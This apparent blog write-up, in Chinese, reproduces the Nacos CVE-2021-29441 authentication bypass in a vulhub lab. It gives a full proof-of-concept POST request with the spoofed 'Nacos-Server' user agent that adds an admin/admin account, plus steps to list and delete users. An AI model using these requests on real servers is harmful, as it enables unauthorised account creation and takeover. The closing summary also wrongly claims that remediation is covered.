1 漏洞原理
Alibaba Nacos是阿里巴巴的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。
该漏洞是Nacos在进行认证授权操作时,会先判断user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。利用这个未授权漏洞,攻击者可以未授权获取到用户名密码,添加用户,并且删除用户等敏感信息。威胁程度较高。
2 环境搭建
cd /vulhub-master/nacos/CVE-2021-29441
docker-compose up -d
3 漏洞复现
1.1外网查看用户账号信息
访问http://ip:端口号/nacos/v1/auth/users/?pageNo=1&pageSize=10

1.2添加任意用户
访问http://ip:端口号/nacos/v1/auth/users,抓取数据包,将GET请求在burpsuite中改成POST请求,将User-Agent改为Nacos-Server 添加表单username=用户名&password=用户密码。
添加成功!
poc如下:
POST /nacos/v1/auth/users HTTP/1.1
Host: your-IP:8848
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=admin&password=admin
这里添加admin用户,发送数据包,响应包返回200,说明添加用户成功。

尝试使用刚才创建的账号进行登录!

登陆成功!
1.2删除任意用户!
先通过访问http://ip:端口号/nacos/v1/auth/users/?pageNo=1&pageSize=10
来查看当前有哪些用户!
尝试删除用户test。
访问http://ip:端口号/nacos/v1/auth/users?username=用户名,抓取数据包,将GET请求改成DELETE请求,将User-Agent改为Nacos-Server。
登陆验证test用户是否删除了!访问http://your-ip:8848/nacos/#/login test 123456

成功删除了该用户!
漏洞复现完毕!
文章讲述了AlibabaNacos开源项目中的认证漏洞,攻击者可利用未授权的user-agent绕过认证,获取和操纵用户信息。通过环境搭建和漏洞复现步骤展示了如何利用这个漏洞以及如何修复它。
2834

被折叠的 条评论
为什么被折叠?



